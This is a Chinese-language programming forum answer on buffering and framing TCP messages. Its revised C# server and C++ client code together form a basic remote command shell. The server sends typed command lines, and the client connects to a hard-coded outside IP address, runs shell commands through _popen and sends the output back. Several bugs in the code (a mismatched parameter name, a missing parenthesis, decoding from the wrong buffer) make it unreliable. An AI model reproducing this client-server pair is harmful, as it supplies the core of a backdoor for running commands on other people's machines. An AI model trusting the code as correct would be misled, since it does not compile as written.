1 回答

TA貢獻1830條經驗 獲得超3個贊
AWNSER即使沒有完全填寫,您的客戶端也會發送整個數組。您應該只發送實際輸入的內容。
服務器輸出它接收的任何內容,但不考慮它實際接收的字節數。您需要考慮接收到的字節數。
TCP 是一種流傳輸。發送和讀取之間沒有一對一的關系。因此,您需要緩沖傳入的數據,并以客戶端可以在完成發送消息時發出信號的方式來構建數據,并且服務器可以知道一個完整的消息在哪里結束,下一個從哪里開始。在您的簡單示例中,空終止符或換行符就足夠了。
不要顯示部分字符串。等待一個完整的字符串到達,然后再顯示它。否則,在解碼尚未準備好解碼的內容時,您可能會損壞數據。
在您的服務器處理程序中,Stream.BeginRead()在調用Console.WriteLine(). 使用完后調用它AWNSER。否則,您可能AWNSER會在有機會使用它之前被覆蓋。
嘗試更像這樣的事情:
服務器:
static NetworkStream Stream;
static MemoryStream Data;
static byte[] AWNSER = new byte[256];
static void Main(string[] args)
{
TcpListener listen = new TcpListener(IPAddress.Any, 123);
listen.Start();
Stream = listen.AcceptTcpClient().GetStream();
Data = new MemoryStream();
Stream.BeginRead(AWNSER, 0, AWNSER.Length, HNDLR, null);
while (true)
{
var str = Console.ReadLine();
byte[] MESSAGE = Encoding.UTF8.GetBytes(str + "&& cd\n");
Stream.Write(MESSAGE, 0, MESSAGE.Length);
}
}
static void HNDLR(IAsyncResult a)
{
int numRead = Stream.EndRead(a);
if (numRead == 0) return;
Data.Seek(0, SeekOrigin.End);
Data.Write(AWNSER, 0, numRead);
byte[] bytes = Data.GetBuffer();
int idx = 0;
int size = (int) Data.Length;
while (idx < size)
{
int found = Array.FindIndex(bytes, idx, size - idx, b => b == 0x0A);
if (found == -1) break;
Console.WriteLine(Encoding.UTF8.GetString(AWNSER, idx, found-idx);
idx = found + 1;
}
if (idx > 0)
{
Buffer.BlockCopy(bytes, idx, bytes, 0, size - idx);
Data.SetLength(size - idx);
}
Stream.BeginRead(AWNSER, 0, AWNSER.Length, HNDLR, null);
}
客戶:
bool sendRaw(SOCKET skt, void *buf, int bufsize)
{
char *p = (char*) buf;
while (buflen > 0)
{
int sent = send(skt, p, buflen, 0);
if (sent == SOCKET_ERROR) return false;
p += sent;
buflen -= sent;
}
return true;
}
...
FILE *fp;
char AWNSER[256];
WSAData wsaData;
WORD DllVersion = MAKEWORD(2, 1);
if (WSAStartup(DllVersion, &wsaData) != 0) //no error
{
cout << "Winsock startup failed";
}
SOCKADDR_IN addr;
int addrlen = sizeof(addr);
addr.sin_port = htons(123);
addr.sin_family = AF_INET;
addr.sin_addr.s_addr = inet_addr("199.166.177.22");
SOCKET Connection = socket(AF_INET, SOCK_STREAM, 0);
if (Connection == INVALID_SOCKET)
{
/*ERROR*/
}
else
{
if (connect(Connection, (SOCKADDR*)&addr, addrlen) != 0)
{
/*ERROR*/
}
else
{
fp = _popen("dir", "r");
while (fgets(AWNSER, 256, fp))
{
int len = strlen(AWNSER);
while ((len > 0) && ((AWNSER[len-1] == '\r') || (AWNSER[len-1] == '\n'))) --len;
AWNSER[len++] = '\n';
cout.write(AWNSER, len);
if (!sendRaw(Connection, AWNSER, len)) break;
}
_pclose(fp);
//...
}
closesocket(Connection);
}
- 1 回答
- 0 關注
- 379 瀏覽
添加回答
舉報